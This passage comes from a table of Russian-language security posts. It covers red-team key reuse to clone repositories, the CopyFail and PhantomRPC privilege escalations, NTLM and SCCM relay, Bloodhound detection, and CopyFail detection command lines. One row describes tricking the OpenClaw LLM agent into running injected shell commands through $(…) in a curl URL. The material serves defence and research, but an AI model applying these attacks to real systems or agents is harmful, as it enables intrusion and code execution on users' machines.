git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back
К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.
Выводы:
Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.
Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.
Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз. | 1 870 |
| 12 |  В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM.
Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-Channel Binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.
Поэтому обращаем внимание на новые события:
— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”
Эти события можно использовать для детектирования coercing-атак либо для анализа нетипичных настроек NTLM-аутентификации.
На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего. | 3 463 |
| 13 | Одна из горячих тем этого года в кибербезе: использование LLM для пентестов. В новостях пишут, что новые модели с большой скоростью находят множество уязвимостей, поэтому сон мясных пентестеров становится тревожным.
Однако дьявол, как обычно, в деталях. В частности, использование облачных LLM для таких целей может быть сильно ограничено: как со стороны их владельцев (они боятся вредоносного применения своих нейронок), так и со стороны пользователей (они боятся утечки своих секретов через облачные сервисы).
А как насчёт применения локальных LLM для пентестов? Здесь тоже есть свои подводные камни.
Наш эксперт Ахмед Хлиф в своём исследовании проанализировал, как решают задачу поиска уязвимостей различные локальные версии популярных LLM (GLM, Qwen, GPT OSS, Gemma).
Для теста было разработано пользовательское веб-приложение с несколькими уязвимостями, которые позволяют осуществлять SQL-инъекции. Локально развёрнутым моделям нужно было определить конечные точки веб-приложения и обнаружить уязвимости, используя только собственные рассуждения и знания: у них не было доступа к RAG и к поиску в Интернете, но был доступ к некоторым MCP-инструментам, таким как Chrome DevTools.
Главный результат исследования: одна только скорость вывода не является надежным показателем эффективности работы AI-агента в реальных условиях. На качество результатов влияет целый ряд факторов, включая умение агента чётко выполнять инструкции. Некоторые нейронки делают то, чего их не просили — а это может быть опасно (как и неправильная работа с MCP-инструментами).
А вот модели, которые показали себя лучшими в пентестах:
— Лучшая модель в целом: GLM-4.7-Flash-UD-Q8_K_XL
— Лучшее соотношение скорости и эффективности: Qwen3.5-35B-A3B-Q8_0
— Лучшая детализация уязвимостей: Qwen3.6-27B-UD-Q8_K_XL
— Лучшая из маленьких моделей: Qwen3.5-9B-UD-Q8_K_XL
Подробности читайте в статье Ахмеда Хлифа "Пентесты с помощью ИИ: что умеют локальные LLM" | 2 726 |
| 14 |  На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root.
Суть узявимости:
Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла.
Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами.
Что делать:
Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD).
Как детектировать атаку:
Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:
sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su
Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell.
Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры. | 5 966 |
| 15 | На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root.
Суть узявимости:
Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла.
Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами.
Что делать:
Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD).
Как детектировать атаку:
Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:
sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su
Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell.
Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры. | 0 |
| 16 |  Инструмент Bloodhound был создан в 2016 году для поиска способов получения привилегий доменного администратора с помощью представления взаимосвязей между объектами целевой Active Directory в виде графа.
Несмотря на солидный возраст, Bloodhound до сих пор остаётся одним из популярных средств разведки и сбора данных в целевой инфраструктуре, и регулярно фигурирует в отчётах об инцидентах.
Эксперты из нашей команды SOC Consulting протестировали работу свежих версий этого инструмента и выяснили, по каким следам в логах можно выявить разные методы сбора данных коллекторами SharpHound и Bloodhound.pу.
Результаты вкратце:
— основные правила корреляции для обнаружения обоих коллекторов строятся на событиях 5145, но можно использовать и события 5712 для более точного детектирования;
— обнаружить работу обоих коллекторов также можно по LDAP-запросам с определёнными атрибутами, используя журналы 1644 «LDAP-Search»;
— поскольку события, необходимые для обнаружения коллекторов, генерируются в большом количестве и могут быть связаны с легитимной активностью, стоит обращать внимание на характерные последовательности запросов и операций, происходящие в течение очень короткого времени (нескольких секунд).
Все остальные ньюансы детектирования этого инструмента — в статье Степана Ляхова "Кто выпустил гончую. Ищем следы коллекторов Bloodhound в логах Windows". | 0 |
| 17 | Архитектура Windows преподнесла новый сюрприз, а точнее, новую поверхность атак в старой технологии.
Межпроцессное взаимодействие в Windows опирается на протокол RPC (Remote Procedure Call) — сложный механизм, в котором год за годом выявляются различные уязвимости. Вот и наш эксперт Хайдар Кабибо, давно изучающий безопасность RPC, нашёл новый архитектурный вектор локального повышения привилегий, получивший название PhantomRPC.
Суть техники: атакующий поднимает поддельный RPC-сервер, который отвечает на запросы клиента по тому же UUID/эндпойнту, что и легитимный сервер, а затем вызывает RpcImpersonateClient и получает контекст вызывающего процесса (вплоть до SYSTEM, в зависимости от сценария).
Ключевое условие: у процесса атакующего есть привилегия SeImpersonatePrivilege (как правило, доступная для учётных записей Network Service или Local Service). Именно в этом случае становится возможна эскалация до SYSTEM или уровня администратора, если легитимный RPC-сервер недоступен — например, когда соответствующая служба отключена.
Это не уязвимость конкретной службы (в отличие от семейства Potato), а следствие того, что RPC-рантайм не проверяет легитимность RPC-сервера и позволяет другому процессу зарегистрировать тот же эндпойнт, что и у легитимного сервера. В некоторых случаях требуются дополнительные условия среды (например, наличие определённой конфигурации GPO).
Все описанные в исследовании пути повышения привилегий протестированы на Windows Server 2022 и Windows Server 2025 с последними обновлениями, доступными на момент исследования. Автор отмечает, что уязвимость может быть проэксплуатирована и на других версиях Windows, поскольку она является проблемой архитектурного дизайна.
Что можно сделать до появления патча:
— минимизировать SeImpersonatePrivilege у нестандартных/кастомных процессов (удалять её, если она не нужна);
— по возможности включать легитимные сервисы, работающие на основе RPC, чтобы их RPC-эндпойнты были заняты штатными серверами;
— включить ETW-мониторинг RPC-событий и отслеживать ошибки RPC_S_SERVER_UNAVAILABLE от высокопривилегированных клиентов — это позволяет обнаружить попытки подмены до её реального выполнения.
Таким образом, уязвимость PhantomRPC открывает новую поверхность атак в Windows RPC и требует постоянного внимания администраторов и разработчиков приложений, использующих этот протокол.
Подробности с примерами кода и схемами эксплуатации — в статье "PhantomRPC: новая техника повышения привилегий в Windows RPC".
Этот доклад также вошёл в программу конференции Black Hat Asia 2026, которая завершается сегодня в Сингапуре. | 0 |
| 18 |  Как мы и обещали, продолжаем историю про слишком самостоятельных LLM‑агентов. Наши эксперты проверили OpenClaw на дефолтных настройках — и добились того, что агент выполняет вредоносные системные команды в контексте текущего пользователя после клика по специально подготовленной ссылке.
Вкратце о том, как это сделано: если сломать обычное получение контента (цепочка 301→204 или JS‑редирект), модель уходит в fallback и сама собирает вызов curl, а в аргументе этого вызова содержится URL, где спрятана подстановка $(…).
В лайтовом примере атаки мы получили выполнение whoami, в серьезном — загрузку и запуск полезной нагрузки. Срабатывает не всегда, но достаточно часто, чтобы это считалось практическим риском.
Проверили технику на разных LLM — получили схожее поведение. Мораль: полагаться на выравнивание моделей (LLM alignment) как на «границу безопасности» нельзя.
Всю механику этой атаки с примерами HTTP-ответов и сниппетами кода на Python, а также рекомендации по защите, читайте в статье "Атака через OpenClaw: когда ваша LLM делает RCE".
Кстати, интересно ваше мнение: это скорее prompt injection (ставьте смайлик в очках) или это уязвимость агента (ставьте смайлик пришелец). По вашим реакциям посмотрим, куда склонится комьюнити. | 0 |
| 19 |  Служба WebClient, которая в Windows реализует протокол WebDAV, с точки зрения атакующего представляет особый интерес, так как позволяет осуществлять релей-атаки на другие протоколы (например, на LDAPS), что в свою очередь позволяет делать релей на контроллер домена.
В частности, атакующий может повысить привилегии и даже полностью захватить домен, если служба WebClient установлена на сервере SCCM и выполнены следующие условия:
— либо подпись LDAP, либо привязка канала LDAPS отключена хотя бы на одном контроллере домена,
— включена автоматическая принудительная установка клиента (сlient push installation),
— включен NTLM Fallback.
На скриншоте выше представлен сценарий эксплуатации SCCM-сервера через механизм установки клиента (client push installation). Похожая картина будет и при атаках на принудительную аутентификацию (coerce).
Как защищаться?
Рекомендуем отключить службу WebClient на SCCM-серверах. Если это невозможно, мониторьте подозрительные обращения по протоколу WebDav от SCCM-сервера.
О других техниках атак на System Center Configuration Manager (SCCM), а также о методах их детектирования вы можете узнать, если посмотрите запись доклада Александра Родченко и Глеба Иванова "C2 от Microsoft: Что может пойти не так, если SCCM окажется не в тех руках". | 0 |
| 20 | Если вы занимаетесь пентестом беспроводных сетей, то наверняка встречали инфраструктуры на основе 802.11r (Fast BSS Transition) — это стандарт быстрого роуминга, который активно используется в корпоративных сетях, на производстве, в складских комплексах и т.д. Но вот незадача: ни HashCat, ни John the Ripper такие хэши не поддерживали.
Единственный рабочий вариант, который существовал до недавнего времени — использование однопоточного python-скрипта, который к тому же поддерживает только EAPOL и не умеет работать с PMKID. Это лучше, чем ничего, и такой вариант можно было использовать в качестве PoC и подбора по словарю из пары тысяч паролей. Но о каких-либо серьезных атаках по подбору пароля на GPU говорить не приходилось.
Причина в том, что криптографическая схема в случае 802.11r несколько отличается от классического WPA-PSK. Ключ PMK считается так же — через PBKDF2-HMAC-SHA1, но дальше начинается своя кухня: цепочка из трёх шагов на HMAC-SHA256, плюс финальный MIC через AES-128-CMAC. И всё это с дополнительными параметрами (MDID, R0KH-ID, R1KH-ID), специфичными для конкретной беспроводной сети.
Именно это пришлось реализовать нашим специалистам, когда они столкнулись с 802.11r на одном из проектов по анализу защищённости. И в итоге получился новый модуль для HashCat, с поддержкой обоих типов хэшей, PMKID и EAPOL для FT-PSK:
https://github.com/hashcat/hashcat/pull/4645
Так что если на очередном пентесте вам попадётся сеть с 802.11r — больше не нужно довольствоваться однопоточным скриптом. Скармливаем пойманные хэши в HashCat и едём дальше! | 0 |
